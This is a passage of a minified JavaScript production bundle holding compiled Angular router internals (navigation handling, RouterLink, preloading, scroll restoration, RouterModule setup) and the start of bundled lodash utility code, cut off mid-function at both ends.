Xe(He.resolve?He.resolve(A,p):ne.runInContext(()=>He(A,p)))}(M[tt],A,p,V).pipe(Ye(),(0,Ke.b)(Lt=>{He[tt]=Lt}))),ve(1),(0,P.h)(He),(0,dt.K)(tt=>qn(tt)?H.E:(0,C._)(tt)))}(He,M,A,V).pipe((0,Q.U)(tt=>(M._resolvedData=tt,M.data=Zn(M,p).resolve,ne&&t2(ne)&&(M.data[Je]=ne.title),null)))}(tt.route,V,M,A)),(0,Ke.b)(()=>He++),ve(1),(0,se.zg)(tt=>He===ne.length?(0,s.of)(p):H.E))})}(p.paramsInheritanceStrategy,this.environmentInjector),(0,Ke.b)({next:()=>$t=!0,complete:()=>{$t||(p.restoreHistory(Lt),this.cancelNavigationTransition(Lt,"",2))}}))}),(0,Ke.b)(Lt=>{const $t=new di(Lt.id,this.urlSerializer.serialize(Lt.extractedUrl),this.urlSerializer.serialize(Lt.urlAfterRedirects),Lt.targetSnapshot);this.events.next($t)}))}),mi(tt=>{const Lt=$t=>{const d1=[];$t.routeConfig?.loadComponent&&!$t.routeConfig._loadedComponent&&d1.push(this.configLoader.loadComponent($t.routeConfig).pipe((0,Ke.b)(f1=>{$t.component=f1}),(0,Q.U)(()=>{})));for(const f1 of $t.children)d1.push(...Lt(f1));return d1};return(0,E.aj)(Lt(tt.targetSnapshot.root)).pipe(q(),(0,Ce.q)(1))}),mi(()=>this.afterPreactivation()),(0,Q.U)(tt=>{const Lt=function Ji(M,A,p){const V=bi(M,A._root,p?p._root:void 0);return new qi(V,A)}(p.routeReuseStrategy,tt.targetSnapshot,tt.currentRouterState);return V={...tt,targetRouterState:Lt}}),(0,Ke.b)(tt=>{p.currentUrlTree=tt.urlAfterRedirects,p.rawUrlTree=p.urlHandlingStrategy.merge(tt.urlAfterRedirects,tt.rawUrl),p.routerState=tt.targetRouterState,"deferred"===p.urlUpdateStrategy&&(tt.extras.skipLocationChange||p.setBrowserUrl(p.rawUrlTree,tt),p.browserUrlTree=tt.urlAfterRedirects)}),((M,A,p)=>(0,Q.U)(V=>(new c2(A,V.targetRouterState,V.currentRouterState,p).activate(M),V)))(this.rootContexts,p.routeReuseStrategy,tt=>this.events.next(tt)),(0,Ce.q)(1),(0,Ke.b)({next:tt=>{ne=!0,this.lastSuccessfulNavigation=this.currentNavigation,p.navigated=!0,this.events.next(new Pn(tt.id,this.urlSerializer.serialize(tt.extractedUrl),this.urlSerializer.serialize(p.currentUrlTree))),p.titleStrategy?.updateTitle(tt.targetRouterState.snapshot),tt.resolve(!0)},complete:()=>{ne=!0}}),(0,w.x)(()=>{ne||He||this.cancelNavigationTransition(V,"",1),this.currentNavigation?.id===V.id&&(this.currentNavigation=null)}),(0,dt.K)(tt=>{if(He=!0,Li(tt)){o2(tt)||(p.navigated=!0,p.restoreHistory(V,!0));const Lt=new Fn(V.id,this.urlSerializer.serialize(V.extractedUrl),tt.message,tt.cancellationCode);if(this.events.next(Lt),o2(tt)){const $t=p.urlHandlingStrategy.merge(tt.url,p.rawUrlTree),d1={skipLocationChange:V.extras.skipLocationChange,replaceUrl:"eager"===p.urlUpdateStrategy||Cr(V.source)};p.scheduleNavigation($t,Rn,null,d1,{resolve:V.resolve,reject:V.reject,promise:V.promise})}else V.resolve(!1)}else{p.restoreHistory(V,!0);const Lt=new $n(V.id,this.urlSerializer.serialize(V.extractedUrl),tt,V.targetSnapshot??void 0);this.events.next(Lt);try{V.resolve(p.errorHandler(tt))}catch($t){V.reject($t)}}return H.E}))}))}cancelNavigationTransition(p,V,ne){const He=new Fn(p.id,this.urlSerializer.serialize(p.extractedUrl),V,ne);this.events.next(He),p.resolve(!1)}}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac,providedIn:"root"}),M})();function Cr(M){return M!==Rn}let Rr=(()=>{class M{buildTitle(p){let V,ne=p.root;for(;void 0!==ne;)V=this.getResolvedTitleForRoute(ne)??V,ne=ne.children.find(He=>He.outlet===ct);return V}getResolvedTitleForRoute(p){return p.data[Je]}}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:function(){return(0,n.f3M)(_2)},providedIn:"root"}),M})(),_2=(()=>{class M extends Rr{constructor(p){super(),this.title=p}updateTitle(p){const V=this.buildTitle(p);void 0!==V&&this.title.setTitle(V)}}return M.\\u0275fac=function(p){return new(p||M)(n.LFG(_e.Dx))},M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac,providedIn:"root"}),M})(),qr=(()=>{class M{}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:function(){return(0,n.f3M)(Pr)},providedIn:"root"}),M})();class cr{shouldDetach(A){return!1}store(A,p){}shouldAttach(A){return!1}retrieve(A){return null}shouldReuseRoute(A,p){return A.routeConfig===p.routeConfig}}let Pr=(()=>{class M extends cr{}return M.\\u0275fac=function(){let A;return function(V){return(A||(A=n.n5z(M)))(V||M)}}(),M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac,providedIn:"root"}),M})();const V2=new n.OlP("",{providedIn:"root",factory:()=>({})});let Mr=(()=>{class M{}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:function(){return(0,n.f3M)(Jr)},providedIn:"root"}),M})(),Jr=(()=>{class M{shouldProcessUrl(p){return!0}extract(p){return p}merge(p,V){return p}}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac,providedIn:"root"}),M})();function Nr(M){throw M}function Hr(M,A,p){return A.parse("/")}const Z2={paths:"exact",fragment:"ignored",matrixParams:"ignored",queryParams:"exact"},Xr={paths:"subset",fragment:"ignored",matrixParams:"ignored",queryParams:"subset"};let Jn=(()=>{class M{get navigationId(){return this.navigationTransitions.navigationId}get browserPageId(){if("computed"===this.canceledNavigationResolution)return this.location.getState()?.\\u0275routerPageId}get events(){return this.navigationTransitions.events}constructor(){this.disposed=!1,this.currentPageId=0,this.console=(0,n.f3M)(n.c2e),this.isNgZoneEnabled=!1,this.options=(0,n.f3M)(V2,{optional:!0})||{},this.errorHandler=this.options.errorHandler||Nr,this.malformedUriErrorHandler=this.options.malformedUriErrorHandler||Hr,this.navigated=!1,this.lastSuccessfulId=-1,this.urlHandlingStrategy=(0,n.f3M)(Mr),this.routeReuseStrategy=(0,n.f3M)(qr),this.urlCreationStrategy=(0,n.f3M)(Fi),this.titleStrategy=(0,n.f3M)(Rr),this.onSameUrlNavigation=this.options.onSameUrlNavigation||"ignore",this.paramsInheritanceStrategy=this.options.paramsInheritanceStrategy||"emptyOnly",this.urlUpdateStrategy=this.options.urlUpdateStrategy||"deferred",this.canceledNavigationResolution=this.options.canceledNavigationResolution||"replace",this.config=m((0,n.f3M)(Ai,{optional:!0})??[]),this.navigationTransitions=(0,n.f3M)(K2),this.urlSerializer=(0,n.f3M)(J),this.location=(0,n.f3M)(G.Ye),this.isNgZoneEnabled=(0,n.f3M)(n.R0b)instanceof n.R0b&&n.R0b.isInAngularZone(),this.resetConfig(this.config),this.currentUrlTree=new Fe,this.rawUrlTree=this.currentUrlTree,this.browserUrlTree=this.currentUrlTree,this.routerState=h2(this.currentUrlTree,null),this.navigationTransitions.setupNavigations(this).subscribe(p=>{this.lastSuccessfulId=p.id,this.currentPageId=this.browserPageId??0},p=>{this.console.warn(`Unhandled Navigation Error: ${p}`)})}resetRootComponentType(p){this.routerState.root.component=p,this.navigationTransitions.rootComponentType=p}initialNavigation(){if(this.setUpLocationChangeListener(),!this.navigationTransitions.hasRequestedNavigation){const p=this.location.getState();this.navigateToSyncWithBrowser(this.location.path(!0),Rn,p)}}setUpLocationChangeListener(){this.locationSubscription||(this.locationSubscription=this.location.subscribe(p=>{const V="popstate"===p.type?"popstate":"hashchange";"popstate"===V&&setTimeout(()=>{this.navigateToSyncWithBrowser(p.url,V,p.state)},0)}))}navigateToSyncWithBrowser(p,V,ne){const He={replaceUrl:!0},tt=ne?.navigationId?ne:null;if(ne){const $t={...ne};delete $t.navigationId,delete $t.\\u0275routerPageId,0!==Object.keys($t).length&&(He.state=$t)}const Lt=this.parseUrl(p);this.scheduleNavigation(Lt,V,tt,He)}get url(){return this.serializeUrl(this.currentUrlTree)}getCurrentNavigation(){return this.navigationTransitions.currentNavigation}resetConfig(p){this.config=p.map(v2),this.navigated=!1,this.lastSuccessfulId=-1}ngOnDestroy(){this.dispose()}dispose(){this.navigationTransitions.complete(),this.locationSubscription&&(this.locationSubscription.unsubscribe(),this.locationSubscription=void 0),this.disposed=!0}createUrlTree(p,V={}){const{relativeTo:ne,queryParams:He,fragment:tt,queryParamsHandling:Lt,preserveFragment:$t}=V,d1=$t?this.currentUrlTree.fragment:tt;let f1=null;switch(Lt){case"merge":f1={...this.currentUrlTree.queryParams,...He};break;case"preserve":f1=this.currentUrlTree.queryParams;break;default:f1=He||null}return null!==f1&&(f1=this.removeEmptyProps(f1)),this.urlCreationStrategy.createUrlTree(ne,this.routerState,this.currentUrlTree,p,f1,d1??null)}navigateByUrl(p,V={skipLocationChange:!1}){const ne=vt(p)?p:this.parseUrl(p),He=this.urlHandlingStrategy.merge(ne,this.rawUrlTree);return this.scheduleNavigation(He,Rn,null,V)}navigate(p,V={skipLocationChange:!1}){return function k2(M){for(let A=0;A<M.length;A++){const p=M[A];if(null==p)throw new n.vHH(4008,false)}}(p),this.navigateByUrl(this.createUrlTree(p,V),V)}serializeUrl(p){return this.urlSerializer.serialize(p)}parseUrl(p){let V;try{V=this.urlSerializer.parse(p)}catch(ne){V=this.malformedUriErrorHandler(ne,this.urlSerializer,p)}return V}isActive(p,V){let ne;if(ne=!0===V?{...Z2}:!1===V?{...Xr}:V,vt(p))return Gt(this.currentUrlTree,p,ne);const He=this.parseUrl(p);return Gt(this.currentUrlTree,He,ne)}removeEmptyProps(p){return Object.keys(p).reduce((V,ne)=>{const He=p[ne];return null!=He&&(V[ne]=He),V},{})}scheduleNavigation(p,V,ne,He,tt){if(this.disposed)return Promise.resolve(!1);let Lt,$t,d1,f1;return tt?(Lt=tt.resolve,$t=tt.reject,d1=tt.promise):d1=new Promise((q1,On)=>{Lt=q1,$t=On}),f1="computed"===this.canceledNavigationResolution?ne&&ne.\\u0275routerPageId?ne.\\u0275routerPageId:(this.browserPageId??0)+1:0,this.navigationTransitions.handleNavigationRequest({targetPageId:f1,source:V,restoredState:ne,currentUrlTree:this.currentUrlTree,currentRawUrl:this.currentUrlTree,rawUrl:p,extras:He,resolve:Lt,reject:$t,promise:d1,currentSnapshot:this.routerState.snapshot,currentRouterState:this.routerState}),d1.catch(q1=>Promise.reject(q1))}setBrowserUrl(p,V){const ne=this.urlSerializer.serialize(p);if(this.location.isCurrentPathEqualTo(ne)||V.extras.replaceUrl){const tt={...V.extras.state,...this.generateNgRouterState(V.id,this.browserPageId)};this.location.replaceState(ne,"",tt)}else{const He={...V.extras.state,...this.generateNgRouterState(V.id,V.targetPageId)};this.location.go(ne,"",He)}}restoreHistory(p,V=!1){if("computed"===this.canceledNavigationResolution){const He=this.currentPageId-(this.browserPageId??this.currentPageId);0!==He?this.location.historyGo(He):this.currentUrlTree===this.getCurrentNavigation()?.finalUrl&&0===He&&(this.resetState(p),this.browserUrlTree=p.currentUrlTree,this.resetUrlToCurrentUrlTree())}else"replace"===this.canceledNavigationResolution&&(V&&this.resetState(p),this.resetUrlToCurrentUrlTree())}resetState(p){this.routerState=p.currentRouterState,this.currentUrlTree=p.currentUrlTree,this.rawUrlTree=this.urlHandlingStrategy.merge(this.currentUrlTree,p.rawUrl)}resetUrlToCurrentUrlTree(){this.location.replaceState(this.urlSerializer.serialize(this.rawUrlTree),"",this.generateNgRouterState(this.lastSuccessfulId,this.currentPageId))}generateNgRouterState(p,V){return"computed"===this.canceledNavigationResolution?{navigationId:p,\\u0275routerPageId:V}:{navigationId:p}}}return M.\\u0275fac=function(p){return new(p||M)},M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac,providedIn:"root"}),M})(),Q2=(()=>{class M{constructor(p,V,ne,He,tt,Lt){this.router=p,this.route=V,this.tabIndexAttribute=ne,this.renderer=He,this.el=tt,this.locationStrategy=Lt,this._preserveFragment=!1,this._skipLocationChange=!1,this._replaceUrl=!1,this.href=null,this.commands=null,this.onChanges=new U.xQ;const $t=tt.nativeElement.tagName?.toLowerCase();this.isAnchorElement="a"===$t||"area"===$t,this.isAnchorElement?this.subscription=p.events.subscribe(d1=>{d1 instanceof Pn&&this.updateHref()}):this.setTabIndexIfNotOnNativeEl("0")}set preserveFragment(p){this._preserveFragment=(0,n.D6c)(p)}get preserveFragment(){return this._preserveFragment}set skipLocationChange(p){this._skipLocationChange=(0,n.D6c)(p)}get skipLocationChange(){return this._skipLocationChange}set replaceUrl(p){this._replaceUrl=(0,n.D6c)(p)}get replaceUrl(){return this._replaceUrl}setTabIndexIfNotOnNativeEl(p){null!=this.tabIndexAttribute||this.isAnchorElement||this.applyAttributeValue("tabindex",p)}ngOnChanges(p){this.isAnchorElement&&this.updateHref(),this.onChanges.next(this)}set routerLink(p){null!=p?(this.commands=Array.isArray(p)?p:[p],this.setTabIndexIfNotOnNativeEl("0")):(this.commands=null,this.setTabIndexIfNotOnNativeEl(null))}onClick(p,V,ne,He,tt){return!!(null===this.urlTree||this.isAnchorElement&&(0!==p||V||ne||He||tt||"string"==typeof this.target&&"_self"!=this.target))||(this.router.navigateByUrl(this.urlTree,{skipLocationChange:this.skipLocationChange,replaceUrl:this.replaceUrl,state:this.state}),!this.isAnchorElement)}ngOnDestroy(){this.subscription?.unsubscribe()}updateHref(){this.href=null!==this.urlTree&&this.locationStrategy?this.locationStrategy?.prepareExternalUrl(this.router.serializeUrl(this.urlTree)):null;const p=null===this.href?null:(0,n.P3R)(this.href,this.el.nativeElement.tagName.toLowerCase(),"href");this.applyAttributeValue("href",p)}applyAttributeValue(p,V){const ne=this.renderer,He=this.el.nativeElement;null!==V?ne.setAttribute(He,p,V):ne.removeAttribute(He,p)}get urlTree(){return null===this.commands?null:this.router.createUrlTree(this.commands,{relativeTo:void 0!==this.relativeTo?this.relativeTo:this.route,queryParams:this.queryParams,fragment:this.fragment,queryParamsHandling:this.queryParamsHandling,preserveFragment:this.preserveFragment})}}return M.\\u0275fac=function(p){return new(p||M)(n.Y36(Jn),n.Y36(ei),n.$8M("tabindex"),n.Y36(n.Qsj),n.Y36(n.SBq),n.Y36(G.S$))},M.\\u0275dir=n.lG2({type:M,selectors:[["","routerLink",""]],hostVars:1,hostBindings:function(p,V){1&p&&n.NdJ("click",function(He){return V.onClick(He.button,He.ctrlKey,He.shiftKey,He.altKey,He.metaKey)}),2&p&&n.uIk("target",V.target)},inputs:{target:"target",queryParams:"queryParams",fragment:"fragment",queryParamsHandling:"queryParamsHandling",state:"state",relativeTo:"relativeTo",preserveFragment:"preserveFragment",skipLocationChange:"skipLocationChange",replaceUrl:"replaceUrl",routerLink:"routerLink"},standalone:!0,features:[n.TTD]}),M})();class O2{}let xr=(()=>{class M{constructor(p,V,ne,He,tt){this.router=p,this.injector=ne,this.preloadingStrategy=He,this.loader=tt}setUpPreloading(){this.subscription=this.router.events.pipe((0,K.h)(p=>p instanceof Pn),(0,qe.b)(()=>this.preload())).subscribe(()=>{})}preload(){return this.processRoutes(this.injector,this.router.config)}ngOnDestroy(){this.subscription&&this.subscription.unsubscribe()}processRoutes(p,V){const ne=[];for(const He of V){He.providers&&!He._injector&&(He._injector=(0,n.MMx)(He.providers,p,`Route: ${He.path}`));const tt=He._injector??p,Lt=He._loadedInjector??tt;(He.loadChildren&&!He._loadedRoutes&&void 0===He.canLoad||He.loadComponent&&!He._loadedComponent)&&ne.push(this.preloadConfig(tt,He)),(He.children||He._loadedRoutes)&&ne.push(this.processRoutes(Lt,He.children??He._loadedRoutes))}return(0,a.D)(ne).pipe((0,X.J)())}preloadConfig(p,V){return this.preloadingStrategy.preload(V,()=>{let ne;ne=V.loadChildren&&void 0===V.canLoad?this.loader.loadChildren(p,V):(0,s.of)(null);const He=ne.pipe((0,se.zg)(tt=>null===tt?(0,s.of)(void 0):(V._loadedRoutes=tt.routes,V._loadedInjector=tt.injector,this.processRoutes(tt.injector??p,tt.routes))));if(V.loadComponent&&!V._loadedComponent){const tt=this.loader.loadComponent(V);return(0,a.D)([He,tt]).pipe((0,X.J)())}return He})}}return M.\\u0275fac=function(p){return new(p||M)(n.LFG(Jn),n.LFG(n.Sil),n.LFG(n.lqb),n.LFG(O2),n.LFG(ji))},M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac,providedIn:"root"}),M})();const q2=new n.OlP("");let Dr=(()=>{class M{constructor(p,V,ne,He,tt={}){this.urlSerializer=p,this.transitions=V,this.viewportScroller=ne,this.zone=He,this.options=tt,this.lastId=0,this.lastSource="imperative",this.restoredId=0,this.store={},tt.scrollPositionRestoration=tt.scrollPositionRestoration||"disabled",tt.anchorScrolling=tt.anchorScrolling||"disabled"}init(){"disabled"!==this.options.scrollPositionRestoration&&this.viewportScroller.setHistoryScrollRestoration("manual"),this.routerEventsSubscription=this.createScrollEvents(),this.scrollEventsSubscription=this.consumeScrollEvents()}createScrollEvents(){return this.transitions.events.subscribe(p=>{p instanceof X1?(this.store[this.lastId]=this.viewportScroller.getScrollPosition(),this.lastSource=p.navigationTrigger,this.restoredId=p.restoredState?p.restoredState.navigationId:0):p instanceof Pn&&(this.lastId=p.id,this.scheduleScrollEvent(p,this.urlSerializer.parse(p.urlAfterRedirects).fragment))})}consumeScrollEvents(){return this.transitions.events.subscribe(p=>{p instanceof Sn&&(p.position?"top"===this.options.scrollPositionRestoration?this.viewportScroller.scrollToPosition([0,0]):"enabled"===this.options.scrollPositionRestoration&&this.viewportScroller.scrollToPosition(p.position):p.anchor&&"enabled"===this.options.anchorScrolling?this.viewportScroller.scrollToAnchor(p.anchor):"disabled"!==this.options.scrollPositionRestoration&&this.viewportScroller.scrollToPosition([0,0]))})}scheduleScrollEvent(p,V){this.zone.runOutsideAngular(()=>{setTimeout(()=>{this.zone.run(()=>{this.transitions.events.next(new Sn(p,"popstate"===this.lastSource?this.store[this.restoredId]:null,V))})},0)})}ngOnDestroy(){this.routerEventsSubscription?.unsubscribe(),this.scrollEventsSubscription?.unsubscribe()}}return M.\\u0275fac=function(p){n.$Z()},M.\\u0275prov=n.Yz7({token:M,factory:M.\\u0275fac}),M})();var oi=(()=>((oi=oi||{})[oi.COMPLETE=0]="COMPLETE",oi[oi.FAILED=1]="FAILED",oi[oi.REDIRECTING=2]="REDIRECTING",oi))();const Ri=!1;function d2(M,A){return{\\u0275kind:M,\\u0275providers:A}}const T2=new n.OlP("",{providedIn:"root",factory:()=>!1});function Ur(){const M=(0,n.f3M)(n.zs3);return A=>{const p=M.get(n.z2F);if(A!==p.components[0])return;const V=M.get(Jn),ne=M.get(Gr);1===M.get(wr)&&V.initialNavigation(),M.get(I2,null,n.XFs.Optional)?.setUpPreloading(),M.get(q2,null,n.XFs.Optional)?.init(),V.resetRootComponentType(p.componentTypes[0]),ne.closed||(ne.next(),ne.complete(),ne.unsubscribe())}}const Gr=new n.OlP(Ri?"bootstrap done indicator":"",{factory:()=>new U.xQ}),wr=new n.OlP(Ri?"initial navigation":"",{providedIn:"root",factory:()=>1});function ra(){let M=[];return M=Ri?[{provide:n.Xts,multi:!0,useFactory:()=>{const A=(0,n.f3M)(Jn);return()=>A.events.subscribe(p=>{console.group?.(`Router Event: ${p.constructor.name}`),console.log(function Ei(M){if(!("type"in M))return`Unknown Router Event: ${M.constructor.name}`;switch(M.type){case 14:return`ActivationEnd(path: \'${M.snapshot.routeConfig?.path||""}\')`;case 13:return`ActivationStart(path: \'${M.snapshot.routeConfig?.path||""}\')`;case 12:return`ChildActivationEnd(path: \'${M.snapshot.routeConfig?.path||""}\')`;case 11:return`ChildActivationStart(path: \'${M.snapshot.routeConfig?.path||""}\')`;case 8:return`GuardsCheckEnd(id: ${M.id}, url: \'${M.url}\', urlAfterRedirects: \'${M.urlAfterRedirects}\', state: ${M.state}, shouldActivate: ${M.shouldActivate})`;case 7:return`GuardsCheckStart(id: ${M.id}, url: \'${M.url}\', urlAfterRedirects: \'${M.urlAfterRedirects}\', state: ${M.state})`;case 2:return`NavigationCancel(id: ${M.id}, url: \'${M.url}\')`;case 16:return`NavigationSkipped(id: ${M.id}, url: \'${M.url}\')`;case 1:return`NavigationEnd(id: ${M.id}, url: \'${M.url}\', urlAfterRedirects: \'${M.urlAfterRedirects}\')`;case 3:return`NavigationError(id: ${M.id}, url: \'${M.url}\', error: ${M.error})`;case 0:return`NavigationStart(id: ${M.id}, url: \'${M.url}\')`;case 6:return`ResolveEnd(id: ${M.id}, url: \'${M.url}\', urlAfterRedirects: \'${M.urlAfterRedirects}\', state: ${M.state})`;case 5:return`ResolveStart(id: ${M.id}, url: \'${M.url}\', urlAfterRedirects: \'${M.urlAfterRedirects}\', state: ${M.state})`;case 10:return`RouteConfigLoadEnd(path: ${M.route.path})`;case 9:return`RouteConfigLoadStart(path: ${M.route.path})`;case 4:return`RoutesRecognized(id: ${M.id}, url: \'${M.url}\', urlAfterRedirects: \'${M.urlAfterRedirects}\', state: ${M.state})`;case 15:return`Scroll(anchor: \'${M.anchor}\', position: \'${M.position?`${M.position[0]}, ${M.position[1]}`:null}\')`}}(p)),console.log(p),console.groupEnd?.()})}}]:[],d2(1,M)}const I2=new n.OlP(Ri?"router preloader":"");function G2(M){return d2(0,[{provide:I2,useExisting:xr},{provide:O2,useExisting:M}])}const y2=!1,Ar=new n.OlP(y2?"router duplicate forRoot guard":"ROUTER_FORROOT_GUARD"),n2=[G.Ye,{provide:J,useClass:Ae},Jn,Ci,{provide:ei,useFactory:function U2(M){return M.routerState.root},deps:[Jn]},ji,y2?{provide:T2,useValue:!0}:[]];function R2(){return new n.PXZ("Router",Jn)}let Sr=(()=>{class M{constructor(p){}static forRoot(p,V){return{ngModule:M,providers:[n2,y2&&V?.enableTracing?ra().\\u0275providers:[],{provide:Ai,multi:!0,useValue:p},{provide:Ar,useFactory:Ea,deps:[[Jn,new n.FiY,new n.tp0]]},{provide:V2,useValue:V||{}},V?.useHash?{provide:G.S$,useClass:G.Do}:{provide:G.S$,useClass:G.b0},{provide:q2,useFactory:()=>{const M=(0,n.f3M)(G.EM),A=(0,n.f3M)(n.R0b),p=(0,n.f3M)(V2),V=(0,n.f3M)(K2),ne=(0,n.f3M)(J);return p.scrollOffset&&M.setOffset(p.scrollOffset),new Dr(ne,V,M,A,p)}},V?.preloadingStrategy?G2(V.preloadingStrategy).\\u0275providers:[],{provide:n.PXZ,multi:!0,useFactory:R2},V?.initialNavigation?sa(V):[],[{provide:oa,useFactory:Ur},{provide:n.tb,multi:!0,useExisting:oa}]]}}static forChild(p){return{ngModule:M,providers:[{provide:Ai,multi:!0,useValue:p}]}}}return M.\\u0275fac=function(p){return new(p||M)(n.LFG(Ar,8))},M.\\u0275mod=n.oAB({type:M}),M.\\u0275inj=n.cJS({imports:[Gi]}),M})();function Ea(M){if(y2&&M)throw new n.vHH(4007,"The Router was provided more than once. This can happen if \'forRoot\' is used outside of the root injector. Lazy loaded modules should use RouterModule.forChild() instead.");return"guarded"}function sa(M){return["disabled"===M.initialNavigation?d2(3,[{provide:n.ip1,multi:!0,useFactory:()=>{const A=(0,n.f3M)(Jn);return()=>{A.setUpLocationChangeListener()}}},{provide:wr,useValue:2}]).\\u0275providers:[],"enabledBlocking"===M.initialNavigation?d2(2,[{provide:wr,useValue:0},{provide:n.ip1,multi:!0,deps:[n.zs3],useFactory:A=>{const p=A.get(G.V_,Promise.resolve());return()=>p.then(()=>new Promise(V=>{const ne=A.get(Jn),He=A.get(Gr);(function B2(M,A){M.events.pipe((0,K.h)(p=>p instanceof Pn||p instanceof Fn||p instanceof $n||p instanceof An),(0,Q.U)(p=>p instanceof Pn||p instanceof An?oi.COMPLETE:p instanceof Fn&&(0===p.code||1===p.code)?oi.REDIRECTING:oi.FAILED),(0,K.h)(p=>p!==oi.REDIRECTING),(0,Ce.q)(1)).subscribe(()=>{A()})})(ne,()=>{V(!0)}),A.get(K2).afterPreactivation=()=>(V(!0),He.closed?(0,s.of)(void 0):He),ne.initialNavigation()}))}}]).\\u0275providers:[]]}const oa=new n.OlP(y2?"Router Initializer":"")},7163:(At,ae,d)=>{"use strict";d.d(ae,{Z:()=>Pa});const a=function n(ge,et){for(var St=-1,Bt=et.length,n1=ge.length;++St<Bt;)ge[n1+St]=et[St];return ge},u="object"==typeof global&&global&&global.Object===Object&&global;var c="object"==typeof self&&self&&self.Object===Object&&self;const E=u||c||Function("return this")(),S=E.Symbol;var g=Object.prototype,C=g.hasOwnProperty,z=g.toString,H=S?S.toStringTag:void 0;var Q=Object.prototype.toString;var se=S?S.toStringTag:void 0;const q=function ee(ge){return null==ge?void 0===ge?"[object Undefined]":"[object Null]":se&&se in Object(ge)?function j(ge){var et=C.call(ge,H),St=ge[H];try{ge[H]=void 0;var Bt=!0}catch{}var n1=z.call(ge);return Bt&&(et?ge[H]=St:delete ge[H]),n1}(ge):function oe(ge){return Q.call(ge)}(ge)},ce=function we(ge){return null!=ge&&"object"==typeof ge};const le=function Ze(ge){return ce(ge)&&"[object Arguments]"==q(ge)};var Oe=Object.prototype,Qe=Oe.hasOwnProperty,Ye=Oe.propertyIsEnumerable,qe=le(function(){return arguments}())?le:function(ge){return ce(ge)&&Qe.call(ge,"callee")&&!Ye.call(ge,"callee")};const Ke=qe,bt=Array.isArray;var ze=S?S.isConcatSpreadable:void 0;const re=function De(ge){return bt(ge)||Ke(ge)||!!(ze&&ge&&ge[ze])},We=function ve(ge,et,St,Bt,n1){var e1=-1,x1=ge.length;for(St||(St=re),n1||(n1=[]);++e1<x1;){var k1=ge[e1];et>0&&St(k1)?et>1?ve(k1,et-1,St,Bt,n1):a(n1,k1):Bt||(n1[n1.length]=k1)}return n1},Be=function xt(ge,et){for(var St=-1,Bt=null==ge?0:ge.length,n1=Array(Bt);++St<Bt;)n1[St]=et(ge[St],St,ge);return n1};const w=function P(ge){return"symbol"==typeof ge||ce(ge)&&"[object Symbol]"==q(ge)};var R=/\\.|\\[(?:[^[\\]]*|(["\'])(?:(?!\\1)[^\\\\]|\\\\.)*?\\1)\\]/,X=/^\\w*$/;const ct=function _e(ge,et){if(bt(ge))return!1;var St=typeof ge;return!("number"!=St&&"symbol"!=St&&"boolean"!=St&&null!=ge&&!w(ge))||X.test(ge)||!R.test(ge)||null!=et&&ge in Object(et)},Et=function Je(ge){var et=typeof ge;return null!=ge&&("object"==et||"function"==et)};const m=function x(ge){if(!Et(ge))return!1;var et=q(ge);return"[object Function]"==et||"[object GeneratorFunction]"==et||"[object AsyncFunction]"==et||"[object Proxy]"==et};var ge,b=E["__core-js_shared__"],ie=(ge=/[^.]+$/.exec(b&&b.keys&&b.keys.IE_PROTO||""))?"Symbol(src)_1."+ge:"";var Vt=Function.prototype.toString;const qt=function Gt(ge){if(null!=ge){try{return Vt.call(ge)}catch{}try{return ge+""}catch{}}return""};var c1=/^\\[object .+?Constructor\\]$/,be=RegExp("^"+Function.prototype.toString.call(Object.prototype.hasOwnProperty).replace(/[\\\\^$.*+?()[\\]{}|]/g,"\\\\$&").replace(/hasOwnProperty|(function).*?(?=\\\\\\()| for .+?(?=\\\\\\])/g,"$1.*?")+"$");const Re=function Pe(ge){return!(!Et(ge)||function Xe(ge){return!!ie&&ie in ge}(ge))&&(m(ge)?be:c1).test(qt(ge))},Ae=function J(ge,et){var St=function Ue(ge,et){return ge?.[et]}(ge,et);return Re(St)?St:void 0},Ct=Ae(Object,"create");var Se=Object.prototype.hasOwnProperty;var Rt=Object.prototype.hasOwnProperty;function nn(ge){var et=-1,St=null==ge?0:ge.length;for(this.clear();++et<St;){var Bt=ge[et];this.set(Bt[0],Bt[1])}}nn.prototype.clear=function jt(){this.__data__=Ct?Ct(null):{},this.size=0},nn.prototype.delete=function nt(ge){var et=this.has(ge)&&delete this.__data__[ge];return this.size-=et?1:0,et},nn.prototype.get=function ot(ge){var et=this.__data__;if(Ct){var St=et[ge];return"__lodash_hash_undefined__"===St?void 0:St}return Se.call(et,ge)?et[ge]:void 0},nn.prototype.has=function Zt(ge){var et=this.__data__;return Ct?void 0!==et[ge]:Rt.call(et,ge)},nn.prototype.set=function G1(ge,et){var St=this.__data__;return this.size+=this.has(ge)?0:1,St[ge]=Ct&&void 0===et?"__lodash_hash_undefined__":et,this};const P1=nn,Me=function vt(ge,et){return ge===et||ge!=ge&&et!=et},de=function O(ge,et){for(var St=ge.length;St--;)if(Me(ge[St][0],et))return St;return-1};var $=Array.prototype.splice;function Y1(ge){var et=-1,St=null==ge?0:ge.length;for(this.clear();++et<St;){var Bt=ge[et];this.set(Bt[0],Bt[1])}}Y1.prototype.clear=function on(){this.__data__=[],this.size=0},Y1.prototype.delete=function ke(ge){var et=this.__data__,St=de(et,ge);return!(St<0||(St==et.length-1?et.pop():$.call(et,St,1),--this.size,0))},Y1.prototype.get=function Wt(ge){var et=this.__data__,St=de(et,ge);return St<0?void 0:et[St][1]},Y1.prototype.has=function w1(ge){return de(this.__data__,ge)>-1},Y1.prototype.set=function h1(ge,et){var St=this.__data__,Bt=de(St,ge);return Bt<0?(++this.size,St.push([ge,et])):St[Bt][1]=et,this};const T1=Y1,vn=Ae(E,"Map"),fn=function ci(ge,et){var St=ge.__data__;return function Gn(ge){var et=typeof ge;return"string"==et||"number"==et||"symbol"==et||"boolean"==et?"__proto__"!==ge:null===ge}(et)?St["string"==typeof et?"string":"hash"]:St.map};function L1(ge){var et=-1,St=null==ge?0:ge.length;for(this.clear();++et<St;){var 